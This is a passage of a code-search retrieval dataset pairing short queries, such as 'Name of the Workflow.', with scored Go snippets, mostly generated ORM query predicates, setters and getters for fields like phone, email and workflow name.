*sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.NotIn(s.C(FieldTelephone), v...))\n\t})\n}", "title": "" }, { "docid": "9ce050ec57976d3155ab41326258b66c", "score": "0.49824244", "text": "func RegistrationNumberEQ(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldRegistrationNumber), v))\n\t})\n}", "title": "" }, { "docid": "d8d1e5da7a97517edfbd59cfbdca78b6", "score": "0.49806356", "text": "func OtherPhonesContains(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.Contains(s.C(FieldOtherPhones), v))\n\t})\n}", "title": "" }, { "docid": "42a98ef44abf5fa346ae878e30641898", "score": "0.49692118", "text": "func PasswordEQ(v string) predicate.Account {\n\treturn predicate.Account(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPassword), v))\n\t})\n}", "title": "" }, { "docid": "037e39903f5c79102f6588aa567dd6da", "score": "0.49610847", "text": "func PathEQ(v string) predicate.Url {\n\treturn predicate.Url(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPath), v))\n\t})\n}", "title": "" }, { "docid": "6adb4747724c2c3a0d76775632117135", "score": "0.49519405", "text": "func (m *OutboundShippingMutation) ConsigneePhone() (r string, exists bool) {\n\tv := m.consignee_phone\n\tif v == nil {\n\t\treturn\n\t}\n\treturn *v, true\n}", "title": "" }, { "docid": "de990e5356494e4569b8fd69803eba89", "score": "0.49508432", "text": "func (f ArrayField) Eq(field ArrayField) Predicate {\n\treturn CustomPredicate{\n\t\tFormat: \"? = ?\",\n\t\tValues: []interface{}{f, field},\n\t}\n}", "title": "" }, { "docid": "f726b7ee9c02ae2ae278f26837c6b73f", "score": "0.49508318", "text": "func (duo *DetailUpdateOne) SetPhone(s string) *DetailUpdateOne {\n\tduo.mutation.SetPhone(s)\n\treturn duo\n}", "title": "" }, { "docid": "36ea498a6d89cf833fb7e6770f8ac249", "score": "0.49507606", "text": "func EmailEQ(v string) predicate.Account {\n\treturn predicate.Account(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldEmail), v))\n\t})\n}", "title": "" }, { "docid": "c8e4f50c694146f93aad6474edaacf4b", "score": "0.49433336", "text": "func CityEQ(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldCity), v))\n\t})\n}", "title": "" }, { "docid": "b6be97f69afd0b924d2cff509ac3f708", "score": "0.49413362", "text": "func (pn PhoneNumber) Equals(other interface{}) bool {\n\tif x, ok := other.(PhoneNumber); ok {\n\t\treturn x.countryCode == pn.countryCode &&\n\t\t\tx.nationalNumber == pn.nationalNumber\n\t}\n\tif x, _ := other.(*PhoneNumber); x != nil {\n\t\treturn x.countryCode == pn.countryCode &&\n\t\t\tx.nationalNumber == pn.nationalNumber\n\t}\n\treturn false\n}", "title": "" }, { "docid": "6b122ac424461db66fc2fa907c2e0a2b", "score": "0.4927349", "text": "func (o *CustomerShippingContactsDataResponse) SetPhone(v string) {\n\to.Phone = &v\n}", "title": "" }, { "docid": "26efc9b2fb7cd2ef6a4e8740bba42e61", "score": "0.49238068", "text": "func PhoneNEQ(v string) predicate.Club {\n\treturn predicate.Club(func(s *sql.Selector) {\n\t\ts.Where(sql.NEQ(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "6f7de3fac548dfd5518ffaef5cf73d0c", "score": "0.49153328", "text": "func PhoneHasSuffix(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.HasSuffix(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "835d98bbe18d4377041814cdc5b076a8", "score": "0.48844832", "text": "func validateTelephone(phone string) bool {\n\t// Test US Phone numbers of the form (###) ###-####[x#####]\n\tif US_PHONE_REGEX.MatchString(phone) {\n\t\treturn true\n\t}\n\n\t//TODO add support for international numbers\n\t//// Test International Phone numbers\n\t//if INT_PHONE_REGEX.MatchString(phone) {\n\t//\treturn true\n\t//}\n\n\t// we didn't match any of our regexs, so this is invalid\n\treturn false\n}", "title": "" }, { "docid": "8ade75cd18356e21d0d98a0ea55eee6f", "score": "0.4876556", "text": "func LegalPersonEQ(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldLegalPerson), v))\n\t})\n}", "title": "" }, { "docid": "e309233a52cf7ed7a1e729313ef1e7e1", "score": "0.48553827", "text": "func AddressEqualFold(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EqualFold(s.C(FieldAddress), v))\n\t})\n}", "title": "" }, { "docid": "c20c63106515116b83dc077c68fe32b4", "score": "0.48508814", "text": "func NoteEQ(v string) predicate.CarInspection {\n\treturn predicate.CarInspection(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldNote), v))\n\t})\n}", "title": "" }, { "docid": "9ca47cf82c30c26835f72e10dbf71cab", "score": "0.48418376", "text": "func WorkEQ(v bool) predicate.Account {\n\treturn predicate.Account(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldWork), v))\n\t})\n}", "title": "" }, { "docid": "557c161e1663281e2bdc8ff59181d895", "score": "0.48355278", "text": "func (o GetAlertContactsContactOutput) PhoneNum() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetAlertContactsContact) string { return v.PhoneNum }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "c08dae46d9a9f4e247f7dd06269c81ad", "score": "0.4827131", "text": "func EmailEQ(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldEmail), v))\n\t})\n}", "title": "" }, { "docid": "d1650cbc4f1ac71e2cffdc3f88d4c478", "score": "0.48139235", "text": "func (m *Contact) SetMobilePhone(value *string)() {\n m.mobilePhone = value\n}", "title": "" }, { "docid": "d11c37ee4d89ee8fdef097a80986677c", "score": "0.4812489", "text": "func MobileNumber(v string) predicate.Patient {\n\treturn predicate.Patient(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldMobileNumber), v))\n\t})\n}", "title": "" }, { "docid": "1c8595334c8985109c61f11aec252ba5", "score": "0.48077488", "text": "func (f TimeField) Eq(field TimeField) Predicate {\n\treturn CustomPredicate{\n\t\tFormat: \"? = ?\",\n\t\tValues: []interface{}{f, field},\n\t}\n}", "title": "" }, { "docid": "126f4a1df3ed21b0ef8fc781c143d683", "score": "0.48039824", "text": "func RecordinsuranceContactEqualFold(v string) predicate.Recordinsurance {\n\treturn predicate.Recordinsurance(func(s *sql.Selector) {\n\t\ts.Where(sql.EqualFold(s.C(FieldRecordinsuranceContact), v))\n\t})\n}", "title": "" }, { "docid": "78e0eeb4ae695f8e71401f89107495e4", "score": "0.48006767", "text": "func (m *BookingBusiness) SetPhone(value *string)() {\n m.phone = value\n}", "title": "" }, { "docid": "5e8939c0c798b57355a2f55c4f3e41f2", "score": "0.47993195", "text": "func (d BankData) Phone() string {\n\tval := d.ModelData.Get(models.NewFieldName(\"Phone\", \"phone\"))\n\tif !d.Has(models.NewFieldName(\"Phone\", \"phone\")) {\n\t\treturn *new(string)\n\t}\n\treturn val.(string)\n}", "title": "" }, { "docid": "4a1579adfdab61a382ccd1f31fc00af6", "score": "0.47988564", "text": "func (o *TenancyContactsListParams) WithPhone(phone *string) *TenancyContactsListParams {\n\to.SetPhone(phone)\n\treturn o\n}", "title": "" } ]
d5a2c59d1c4242acfe8dbbfe259e3b7a
Name of the Workflow.
[ { "docid": "257fa0550878dc21318cd00252a9520a", "score": "0.734787", "text": "func (o WorkflowOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Workflow) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" } ]
[ { "docid": "2bc5259adb35d3ea8c2cff47ca715c65", "score": "0.8130116", "text": "func (w *Workflow) Name() string {\n\treturn w.name\n}", "title": "" }, { "docid": "9eb964e4e1216ef5123a8ed91de992b7", "score": "0.70670366", "text": "func (o *Workflow) GetName() string {\n\tif o == nil || o.Name == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Name\n}", "title": "" }, { "docid": "e21729b2ed8d4763d537e3567cc1e385", "score": "0.6946639", "text": "func getWorkflowName() string {\n\treturn os.Getenv(\"workflow_name\")\n}", "title": "" }, { "docid": "b085d35c60b4a827dd3a246f2b7e93a4", "score": "0.638508", "text": "func (o *WorkflowSolutionInstance) GetName() string {\n\tif o == nil || o.Name == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Name\n}", "title": "" }, { "docid": "0e87f1f75b3d45d1da5e20654294cc55", "score": "0.6368435", "text": "func (o *WorkflowSolutionDefinition) GetName() string {\n\tif o == nil || o.Name == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Name\n}", "title": "" }, { "docid": "014b4c736729418f0879ecdacdac6dfd", "score": "0.62867564", "text": "func (s *Step) Name() string {\n\treturn s.name\n}", "title": "" }, { "docid": "6a6f9b261435c3ee8d5a52cf63dbe34d", "score": "0.6232073", "text": "func (as *Step) Name() string {\n\treturn as.StepComponent.Name\n}", "title": "" }, { "docid": "754ca210c094d471b7cb7aa6461c57ea", "score": "0.61323804", "text": "func (g *PromRuleTask) Name() string { return g.name }", "title": "" }, { "docid": "300b24d1514da17c897c088e033ce3e8", "score": "0.60693717", "text": "func (t *task) GetName() string {\n\treturn t.name\n}", "title": "" }, { "docid": "584d2afea50c79c11707b906b48914ab", "score": "0.6068295", "text": "func (o *WorkflowSolutionActionDefinitionAllOf) GetName() string {\n\tif o == nil || o.Name == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Name\n}", "title": "" }, { "docid": "8b7466e4c5dd99ccfce7d9c2370eacba", "score": "0.6052558", "text": "func (j *task) Name() string {\n\treturn j.name\n}", "title": "" }, { "docid": "2fe07bb8dd3a61d53dde1b06a9f4487b", "score": "0.6050635", "text": "func (o *WorkflowServiceItemInstance) GetName() string {\n\tif o == nil || o.Name == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Name\n}", "title": "" }, { "docid": "2fe07bb8dd3a61d53dde1b06a9f4487b", "score": "0.6050635", "text": "func (o *WorkflowServiceItemInstance) GetName() string {\n\tif o == nil || o.Name == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Name\n}", "title": "" }, { "docid": "a666efa8e18fba88907a3e22d3acdde5", "score": "0.60459733", "text": "func (r *AwsSfnStateMachineTracingRule) Name() string {\n\treturn \"aws_sfn_state_machine_tracing\"\n}", "title": "" }, { "docid": "8cb0c6b759cbc5eff218938fbc6312ac", "score": "0.60449314", "text": "func (w *SchedulerModule) Name() string {\n\treturn \"Scheduler\"\n}", "title": "" }, { "docid": "bcf2650870ad4e4f03817d610ce35cf5", "score": "0.6020014", "text": "func (r *Workgroup) Name() pulumi.StringOutput {\n\treturn (pulumi.StringOutput)(r.s.State[\"name\"])\n}", "title": "" }, { "docid": "e2546db5b4deda7951f0c5b8f07c0abe", "score": "0.6005084", "text": "func (e *ProcessEventsCheck) Name() string { return ProcessEventsCheckName }", "title": "" }, { "docid": "c29dca9a498cc50e138689ef48128b33", "score": "0.6004757", "text": "func (a *DeployAction) Name() string {\n\treturn fmt.Sprintf(\"CreateOrUpdate-%s-%s\", a.name, a.envName)\n}", "title": "" }, { "docid": "e907b65e7ff6a9025877b632324df11f", "score": "0.59801215", "text": "func (m *execution) Name() *string {\n\treturn m.nameField\n}", "title": "" }, { "docid": "b0b07e70919cec2e7c499312bb8bb25c", "score": "0.59774864", "text": "func (o TriggerTumblingWindowPipelineOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v TriggerTumblingWindowPipeline) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "87ebb09123d749ead4769040860e762a", "score": "0.59517145", "text": "func (w *Workspace) Name() string {\n\treturn w.name\n}", "title": "" }, { "docid": "3e3f82b9db885229f0a920432dac6bd2", "score": "0.5926877", "text": "func (a *ManualApprovalAction) Name() string {\n\treturn fmt.Sprintf(\"ApprovePromotionTo-%s\", a.name)\n}", "title": "" }, { "docid": "0d999d6fc4d61793a8215754375f1f62", "score": "0.59254825", "text": "func (o ExecutionOutput) FlowName() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Execution) pulumi.StringOutput { return v.FlowName }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "9cce6df04507f9f1c47de3b4ca21ee13", "score": "0.5903925", "text": "func (t *Task) GetName() string {\n\treturn t.name\n}", "title": "" }, { "docid": "fc1e8a704af17d1094897b84e610875b", "score": "0.587865", "text": "func (t *Task) GetName() string {\n return t.name\n}", "title": "" }, { "docid": "e99e1a276855c6c70db744e2b257ca5c", "score": "0.587345", "text": "func (wl *Workload) Name() string {\n\treturn wl.name\n}", "title": "" }, { "docid": "4c25e16b816cb351c5548e00756c49ac", "score": "0.58685255", "text": "func (a *SingleNodeBootstrapInPlace) Name() string {\n\treturn \"Single node bootstrap In Place Ignition Config\"\n}", "title": "" }, { "docid": "46bf17f427584a0749202237f6245315", "score": "0.58610547", "text": "func (a *SlackAction) Name() string {\n\treturn a.name\n}", "title": "" }, { "docid": "45be1166d613b508a8360e2f9d64da7c", "score": "0.58448315", "text": "func (w *web) WorkflowExecution(namespace, uid string) string {\n\t// <protocol><fqdn>/<namespace>/workflows/<uid>\n\treturn fmt.Sprintf(\"%v%v/%v/workflows/%v\", w.protocol, w.fqdn, namespace, uid)\n}", "title": "" }, { "docid": "6fbd81d982dd83f84c74fa19ab844cdf", "score": "0.5831171", "text": "func (s Status) WorkflowCommand() string {\n\tswitch s {\n\tcase coverageExcellent, coverageGood:\n\t\treturn \"notice\"\n\tcase coverageOK, coverageWarning:\n\t\treturn \"warning\"\n\tcase coverageError:\n\t\treturn \"error\"\n\tdefault:\n\t\treturn \"error\"\n\t}\n}", "title": "" }, { "docid": "8df0663c93abe5e289d91deee3b3596e", "score": "0.5789016", "text": "func (stg *PipelineStage) Name() string {\n\treturn stg.associatedEnvironment.Name\n}", "title": "" }, { "docid": "be61138ff43d0d1468f256d248b40055", "score": "0.5769026", "text": "func (op *CreateDeliveryPipelineOperation) Name() string {\n\treturn op.lro.Name()\n}", "title": "" }, { "docid": "f0ec6b1733ad08ea7dfc058848e4b621", "score": "0.5765823", "text": "func Name() string {\n\treturn name\n}", "title": "" }, { "docid": "f0ec6b1733ad08ea7dfc058848e4b621", "score": "0.5765823", "text": "func Name() string {\n\treturn name\n}", "title": "" }, { "docid": "696330a4daf4fb7ac8b1830171d7b80a", "score": "0.5759591", "text": "func (t TaskStackName) TaskName() string {\n\treturn strings.SplitN(string(t), \"-\", 2)[1]\n}", "title": "" }, { "docid": "3c823d0d8e58a9be51dfabf9ca097ddf", "score": "0.5756318", "text": "func (tj *TensorFlowJob) Name() string {\n\treturn tj.name\n}", "title": "" }, { "docid": "316c434dc2ed575d977b10d5c70f9e68", "score": "0.5755589", "text": "func (s *CreateNamespace) Name() string {\n\treturn fmt.Sprintf(\"Create namespace %s\", s.name)\n}", "title": "" }, { "docid": "aed2d3dea5dfabe3461b2bf9896526e1", "score": "0.5749947", "text": "func (w windowTrigger) Name() string {\n\treturn w.name\n}", "title": "" }, { "docid": "0d08d1dd83c43a3c8f82689cbf799ad9", "score": "0.5730717", "text": "func (m Module) Name() string {\n\tf := strings.Fields(m.Cmdline)\n\tif len(f) > 0 {\n\t\treturn f[0]\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "25ca29e3d2a5580233d93f70f26b8412", "score": "0.57292825", "text": "func (it *indexBuildTask) Name() string {\n\treturn it.ident\n}", "title": "" }, { "docid": "e3e0f296b71db2920fe3773bce54dde9", "score": "0.5724544", "text": "func Name() string {\n\treturn \"name\"\n}", "title": "" }, { "docid": "7daa28895c20ca10e7ced4c7aba2f60d", "score": "0.5705453", "text": "func (o FlowletDataFlowTransformationOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v FlowletDataFlowTransformation) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "517dca0e4afeac3bc99e7dc6c7139f26", "score": "0.5703197", "text": "func (o NetworkServicePccRuleServiceDataFlowTemplateOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v NetworkServicePccRuleServiceDataFlowTemplate) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "b22e41025581434a9ca3722b2291c046", "score": "0.5701157", "text": "func (m *WorkflowTemplateUpdateRequest) GetName() string {\n\tif m != nil {\n\t\treturn m.Name\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "09a4c7af6e2f2541683feacf04cc251a", "score": "0.56971633", "text": "func (m MotionStatuteParagraph) Name() string {\n\treturn \"motion_statute_paragraph\"\n}", "title": "" }, { "docid": "dc3256849edbb1ccc1998980b2eaafbc", "score": "0.5696036", "text": "func (c Committee) Name() string {\n\treturn \"committee\"\n}", "title": "" }, { "docid": "c4a66d1d3a33b0c16eaa3411baa83071", "score": "0.5689163", "text": "func (r *runtime) Name() string {\n\treturn \"standalone\"\n}", "title": "" }, { "docid": "7907bd918ae35113151c21c56d764bf7", "score": "0.568592", "text": "func (o DataFlowTransformationFlowletOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DataFlowTransformationFlowlet) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "6c707bba9eef30b1d49d79b7f5b30ffe", "score": "0.56742376", "text": "func NameFor(state *mesos.TaskState) string {\n switch *state {\n case mesos.TaskState_TASK_STAGING:\n return \"TASK_STAGING\"\n case mesos.TaskState_TASK_STARTING:\n return \"TASK_STARTING\"\n case mesos.TaskState_TASK_RUNNING:\n return \"TASK_RUNNING\"\n case mesos.TaskState_TASK_FINISHED:\n return \"TASK_FINISHED\" // TERMINAL\n case mesos.TaskState_TASK_FAILED:\n return \"TASK_FAILED\" // TERMINAL\n case mesos.TaskState_TASK_KILLED:\n return \"TASK_KILLED\" // TERMINAL\n case mesos.TaskState_TASK_LOST:\n return \"TASK_LOST\" // TERMINAL\n default:\n return \"UNKNOWN\"\n }\n}", "title": "" }, { "docid": "fad6854e81788be6c9c5f31e8d7f5db2", "score": "0.56698114", "text": "func (cs *Scheduling) Name() string {\n\treturn Name\n}", "title": "" }, { "docid": "fbaabbd8af4ad9f143538bf2aa0caf30", "score": "0.5668824", "text": "func (r *Routine) Name() string {\n\treturn \"Github Clone Count\"\n}", "title": "" }, { "docid": "ebecb523095df54899227c874a317fd6", "score": "0.56687605", "text": "func (a ActionWorker) Name() string {\n\treturn \"action_worker\"\n}", "title": "" }, { "docid": "5f82091897174efe4fddefeb1f0803a7", "score": "0.56664574", "text": "func (t *Task) GetName() string {\n\treturn t.Fields.Name\n}", "title": "" }, { "docid": "6800b46b6fece995fdfb441f9224d591", "score": "0.56543887", "text": "func (v *SyncActivityRequest) GetWorkflowID() (o string) {\n\tif v != nil {\n\t\treturn v.WorkflowID\n\t}\n\treturn\n}", "title": "" }, { "docid": "316e9ad3056812ee9b88263532358947", "score": "0.5652543", "text": "func (o GetNetworkServicePccRuleServiceDataFlowTemplateOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetNetworkServicePccRuleServiceDataFlowTemplate) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "ff2c956ac73675e0a65f2d6360c647d9", "score": "0.56520855", "text": "func (o DataFlowTransformationOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DataFlowTransformation) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "585128b0c5f37eb112c1441b695b8f52", "score": "0.5635037", "text": "func (m Module) Name() string {\n\treturn \"applications\"\n}", "title": "" }, { "docid": "fc32ab4f9304fef97282fdc02a08df47", "score": "0.5631638", "text": "func (o FlowletDataFlowTransformationFlowletOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v FlowletDataFlowTransformationFlowlet) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "73537e39f29f09897d838431b3addd21", "score": "0.5630518", "text": "func (v *SyncActivityRequest) GetWorkflowId() (o string) {\n\tif v != nil && v.WorkflowId != nil {\n\t\treturn *v.WorkflowId\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "4bb86be47a1a4846c80bee5f7679f499", "score": "0.5629481", "text": "func (o TriggerTumblingWindowPipelinePtrOutput) Name() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *TriggerTumblingWindowPipeline) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.Name\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "81c48c36017bdd107b07e1501e3aa9d2", "score": "0.56276506", "text": "func (f Func) Name() string {\n\treturn f.TaskName\n}", "title": "" }, { "docid": "cc95771aec76e913adc70b97ec7ed95f", "score": "0.5625618", "text": "func (pl *ExclusiveSite) Name() string {\n\treturn Name\n}", "title": "" }, { "docid": "5b4d837f976e7a96ae3f0316536ce78b", "score": "0.56255", "text": "func (m *Mission) Name() string { return m.name }", "title": "" }, { "docid": "a7ef100ff23fe3532bea0908360010bf", "score": "0.56228834", "text": "func (r *AssessmentTemplate) Name() pulumi.StringOutput {\n\treturn (pulumi.StringOutput)(r.s.State[\"name\"])\n}", "title": "" }, { "docid": "fed413aab450735e87b28c71dfd91e16", "score": "0.5616958", "text": "func (v *HistoryService_QueryWorkflow_Args) MethodName() string {\n\treturn \"QueryWorkflow\"\n}", "title": "" }, { "docid": "740997ed6b7faa5e933d999bf3db2f0c", "score": "0.56168604", "text": "func (o GetLifecycleHooksHookOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetLifecycleHooksHook) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "caa385d970f4b30628afaef3f4defefc", "score": "0.56156206", "text": "func (s *Slack) Name() string {\n\treturn SlackServiceName\n}", "title": "" }, { "docid": "80b65a49da7dbd1492f9d5887b60ecfb", "score": "0.56143594", "text": "func (p *proc) GetName() string {\n\treturn p.name\n}", "title": "" }, { "docid": "b33cee67f14e0b58d6b2e88674796831", "score": "0.5605882", "text": "func (o *Task) GetName() string {\n\tif o == nil || o.Name == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Name\n}", "title": "" }, { "docid": "2bd83c04a89429995d22c3accb8e9e80", "score": "0.55890125", "text": "func (o ProjectApprovalRuleOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *ProjectApprovalRule) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "599e682a20206ab0d040b9b6b2c8834f", "score": "0.5586525", "text": "func (clone CloneTask) taskName() string {\n\t// create a task name based on the step we are on in the process, with some\n\t// entropy\n\tuid := RandStringBytesRmndr(4)\n\treturn fmt.Sprintf(\"%s-%s-%s\", clone.TaskType, clone.TargetClusterName, uid)\n}", "title": "" }, { "docid": "736055e48df755e2162998a355aac64d", "score": "0.5580863", "text": "func (v *HistoryService_QueryWorkflow_Result) MethodName() string {\n\treturn \"QueryWorkflow\"\n}", "title": "" }, { "docid": "824a76cdea981458b97ed6f2a3d4c883", "score": "0.5577778", "text": "func (Python) Name() string {\n\treturn \"python\"\n}", "title": "" }, { "docid": "ccf91a045923dcaa849fd6692a7c9da6", "score": "0.5577706", "text": "func (r *retryTask) GetName() string {\n\treturn r.name\n}", "title": "" }, { "docid": "8f16d402bcd94ba53bec9bc60373ca64", "score": "0.5577181", "text": "func (op *SeedConversionWorkspaceOperation) Name() string {\n\treturn op.lro.Name()\n}", "title": "" }, { "docid": "22c3fdb8ed5dfbebe15296d65c6ad2af", "score": "0.55764055", "text": "func (g *gitschema) Name() string {\n\treturn `gitschema-` + g.Config.Schema\n}", "title": "" }, { "docid": "2a45ee42a46e384a3ea733e82f7702e6", "score": "0.5576268", "text": "func (o ScheduleOutput) LabName() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Schedule) pulumi.StringOutput { return v.LabName }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "9db4f3cdc6bfb0a108d4ed8a9385628f", "score": "0.55756396", "text": "func (t *OpenconfigSystem_System_Processes_Process_State) GetName() string {\n\tif t == nil || t.Name == nil {\n\t\treturn \"\"\n\t}\n\treturn *t.Name\n}", "title": "" }, { "docid": "a9503186dd5cef6000f39ff56c019e66", "score": "0.5574277", "text": "func (op *CreateConversionWorkspaceOperation) Name() string {\n\treturn op.lro.Name()\n}", "title": "" }, { "docid": "040984ec4b51349e02641ba25f862384", "score": "0.5573658", "text": "func (csum CreateShortenedURLCmd) Name() string {\n\treturn createShortenedURLCmdName\n}", "title": "" }, { "docid": "7a436a2232d53ef944eb0778c5014976", "score": "0.55726206", "text": "func (s *skaffoldDeployImpl) Name() string {\n\treturn fmt.Sprintf(\"skaffold deploy %s\", s.spec.SkaffoldPath)\n}", "title": "" }, { "docid": "ebca572f1e4779377a71b12aa9c32925", "score": "0.55721116", "text": "func (b *bcsgsWorkload) Name() string {\n\treturn b.name\n}", "title": "" }, { "docid": "24c947b9d89084e1d0e52790449caf79", "score": "0.5567723", "text": "func (g *Github) Name() string {\n\treturn \"Github\"\n}", "title": "" }, { "docid": "af85540d5f75424808f796ced0153fdf", "score": "0.55664885", "text": "func (op *RollbackConversionWorkspaceOperation) Name() string {\n\treturn op.lro.Name()\n}", "title": "" }, { "docid": "2c62c48989fa51bc5fff9d9b23cf9a5c", "score": "0.55617416", "text": "func (s *PipelineStage) GetName() string {\n\treturn s.Name\n}", "title": "" }, { "docid": "65bdedb16c45716c6ecb9147d441cc3b", "score": "0.55570036", "text": "func (op *UpdateDeliveryPipelineOperation) Name() string {\n\treturn op.lro.Name()\n}", "title": "" }, { "docid": "b4aa812e8c95819a2cb9525972873974", "score": "0.5545967", "text": "func (op *StopMigrationJobOperation) Name() string {\n\treturn op.lro.Name()\n}", "title": "" }, { "docid": "a4db9f46a5e0b442698752f2b7e77728", "score": "0.55411285", "text": "func (op *StartMigrationJobOperation) Name() string {\n\treturn op.lro.Name()\n}", "title": "" }, { "docid": "2cb9fcf2c19fae1f64c20f676ae2ee01", "score": "0.5536956", "text": "func (sq *SubmitQueue) Name() string { return \"submit-queue\" }", "title": "" }, { "docid": "c3248333cd57ebf5026183841e563556", "score": "0.5529508", "text": "func (v *HistoryTaskAttributes) GetWorkflowId() (o string) {\n\tif v != nil && v.WorkflowId != nil {\n\t\treturn *v.WorkflowId\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "a2e7af95762d1ea89bdc6692d48c5ac3", "score": "0.5527574", "text": "func (o StateMachineOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *StateMachine) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "ae70a63cc03b169e01c2ebc8b68e9f28", "score": "0.5520494", "text": "func (op *ApplyConversionWorkspaceOperation) Name() string {\n\treturn op.lro.Name()\n}", "title": "" }, { "docid": "8cccebacf754a7c14456c030df33f613", "score": "0.55165654", "text": "func (j *JobScalingEventsCommand) Name() string { return \"job scaling-events\" }", "title": "" }, { "docid": "5a13e8d1fd8f3493910fd3667d4f6d46", "score": "0.55146974", "text": "func (fn *Fn) Name() string {\n\tcomponents := []string{\n\t\tfn.getFormattedTime(),\n\t\tfn.getGitHash(),\n\t\tfn.getProcTimeHash(),\n\t}\n\tif fn.Prefix != \"\" {\n\t\tcomponents = append([]string{fn.Prefix}, components...)\n\t}\n\tif fn.Postfix != \"\" {\n\t\tcomponents = append(components, fn.Postfix)\n\t}\n\treturn strings.Join(components, fn.Delimiter)\n}", "title": "" }, { "docid": "5b44f3a3db1d08af59f7034565517c83", "score": "0.55040663", "text": "func (o *CIAppPipelineEventJob) GetName() string {\n\tif o == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn o.Name\n}", "title": "" }, { "docid": "346bce00229207d4823c33fae64dda39", "score": "0.55021375", "text": "func (v *SyncActicvityTaskAttributes) GetWorkflowId() (o string) {\n\tif v != nil && v.WorkflowId != nil {\n\t\treturn *v.WorkflowId\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "10955e70e4e69883c22b1adfcab2fb9c", "score": "0.5502104", "text": "func (c *VersionAction) GetName() string {\n\treturn versionActionName\n}", "title": "" }, { "docid": "eee0628dc62766116170de4b58d0766f", "score": "0.54995626", "text": "func (c *Chainlink) Name() string {\n\treturn c.Config.ChartName\n}", "title": "" }, { "docid": "d0ee12428b9158a2e22c55d72cf42ab5", "score": "0.54986966", "text": "func (v *HistoryMetadataTaskAttributes) GetWorkflowId() (o string) {\n\tif v != nil && v.WorkflowId != nil {\n\t\treturn *v.WorkflowId\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "4a52327bd555389587c8e8ceb5c403de", "score": "0.54980135", "text": "func (g *Game) Name() string {\n\treturn g.manager.Delegate().Name()\n}", "title": "" } ]
761198ed8a023515ecbf188c39ba964b
GetInt64SliceR returns the int slice value of an `Option` key with [WrapWithRxxtPrefix].
